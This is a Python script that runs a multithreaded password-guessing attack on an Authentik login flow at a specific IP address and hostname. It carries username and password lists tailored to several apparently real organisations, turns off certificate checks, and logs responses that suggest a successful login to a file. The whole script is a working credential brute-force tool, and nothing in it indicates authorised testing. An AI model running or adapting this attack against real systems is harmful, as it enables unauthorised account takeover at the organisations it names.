import requests, json, urllib3, time, concurrent.futures, threading, sys
urllib3.disable_warnings()
BASE = "https://112.199.81.2:37443/api/v3/flows/executor/default-authentication-flow/"
JH = {"Host":"www.itportal.cc","Content-Type":"application/json"}

usernames = [
 "akadmin","admin","administrator","root","phitdc","itadmin","it","sysadmin",
 "support","info","helpdesk","hr","hqstech","reachvpn","itportal","operator",
 "fansky","ops","noc","network","vpn","monitor","grafana","litellm","pam","pam360",
 "phitdc@hqstech.com","admin@hqstech.com","akadmin@hqstech.com","administrator@hqstech.com",
 "root@hqstech.com","itadmin@hqstech.com","it@hqstech.com","support@hqstech.com",
 "info@hqstech.com","helpdesk@hqstech.com","hr@hqstech.com","sysadmin@hqstech.com",
 "ops@hqstech.com","noc@hqstech.com","network@hqstech.com","monitor@hqstech.com",
 "phitdc@reachvpn.com","admin@reachvpn.com","akadmin@reachvpn.com","itadmin@reachvpn.com",
 "phitdc@itportal.cc","admin@itportal.cc","akadmin@itportal.cc",
]

passwords_full = [
 "admin","password","admin123","administrator","changeme","Password1","P@ssw0rd",
 "P@ssword1","welcome","welcome123","123456","12345678","123456789","1234567890",
 "password123","qwerty","qwerty123","letmein","root","toor","default","secret","master",
 "pass123","test","test123","123123","000000","111111","11111111","abc123","password1",
 "Admin@123","Admin123","Admin@1234","Admin1234","P@ssw0rd123","Passw0rd","Passw0rd!",
 "Password123","Password1234","Password@123","Password@1234","P@ssw0rd!","Welcome1",
 "Welcome123","Welcome@123","ChangeMe123","Changeme1!","Welcome@2025","Welcome@2026",
 "hqstech","HQSTech","hqstech123","Hqstech123","Hqstech@123","Hqstech@2025","Hqstech@2026",
 "hqstech2025","hqstech2026","reachvpn","Reachvpn","reachvpn123","Reachvpn123","Reachvpn@123",
 "reachvpn2025","reachvpn2026","itportal","ITPortal","itportal123","Itportal123","Itportal@123",
 "itportal2025","itportal2026","phitdc","phitdc123","Phitdc123","Phitdc@123","phitdc2025",
 "phitdc2026","authentik","Authentik","Authentik@123","authentik123","Akadmin@123",
 "PHITDC@2025","HQSTech@2025","Phitdc@2025","Reachvpn@2025","fansky","fansky123","Fansky@123",
]
passwords_top = passwords_full[:26]  # common ones

TOP_USERS = {"akadmin","admin","administrator","root","phitdc","phitdc@hqstech.com"}

FAIL = {"ak-stage-password", "ak-stage-access-denied", "ak-stage-identification"}
lock = threading.Lock()
counters = {"total":0, "interesting":0, "retries":0}
interesting_log = []

def one_attempt(s, user, pwd):
    r = s.post(BASE, headers=JH, data=json.dumps({"component":"ak-stage-password","password":pwd}),
               allow_redirects=False, timeout=20)
    return r

def do_chunk(task):
    user, pw_chunk = task
    for attempt_no in range(2):  # up to 2 retries of the whole chunk
        s = requests.Session(); s.verify=False
        ok = True
        try:
            r = s.post(BASE, headers=JH, data=json.dumps({"component":"ak-stage-identification","uid_field":user}),
                       allow_redirects=False, timeout=20)
        except Exception as e:
            ok = False
        if ok:
            results = []
            for p in pw_chunk:
                try:
                    r = one_attempt(s, user, p)
                    try: j = r.json()
                    except: j = {}
                    comp = j.get("component")
                    status = r.status_code
                    loc = r.headers.get("Location")
                    if comp in FAIL and status == 200 and not loc:
                        results.append((p, "fail", None))
                        with lock: counters["total"] += 1
                    elif status == 302 or (comp is not None and comp not in FAIL):
                        d = json.dumps({"user":user,"pwd":p,"status":status,"component":comp,"location":loc,
                                        "response_errors":j.get("response_errors"),"error_message":j.get("error_message"),
                                        "to":j.get("to"),"body":r.text[:400]})
                        with lock:
                            counters["total"] += 1
                            counters["interesting"] += 1
                            interesting_log.append(d)
                        results.append((p, "interesting", d))
                    else:
                        # empty body / 405 / desync -> treat as retry signal
                        ok = False
                        break
                except Exception as e:
                    ok = False
                    break
            if ok:
                return results
        with lock: counters["retries"] += 1
        time.sleep(0.5)
    # exhausted retries: mark as failed (no increment for total to avoid false counts)
    return [(p, "failed", None) for p in pw_chunk]

def build_tasks():
    tasks = []
    for u in usernames:
        plist = passwords_full if u in TOP_USERS else passwords_top
        for i in range(0, len(plist), 4):
            tasks.append((u, plist[i:i+4]))
    return tasks

def run(workers, max_tasks=None):
    tasks = build_tasks()
    if max_tasks: tasks = tasks[:max_tasks]
    t0 = time.time(); done = 0
    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futs = [ex.submit(do_chunk, t) for t in tasks]
        for f in concurrent.futures.as_completed(futs):
            res = f.result(); done += 1
            for (p, kind, d) in res:
                if kind == "interesting":
                    print(f"[INTERESTING] {d}", flush=True)
            if done % 40 == 0:
                el = time.time()-t0
                print(f"[progress] chunks={done}/{len(tasks)} attempts={counters['total']} interesting={counters['interesting']} retries={counters['retries']} rate={counters['total']/el:.2f}/s", flush=True)
    el = time.time()-t0
    print(f"\n=== DONE attempts={counters['total']} interesting={counters['interesting']} retries={counters['retries']} elapsed={el:.0f}s ===", flush=True)
    if interesting_log:
        open("interesting.txt","w").write("\n".join(interesting_log))

if __name__ == "__main__":
    run(int(sys.argv[1]) if len(sys.argv)>1 else 10,
        int(sys.argv[2]) if len(sys.argv)>2 else None)
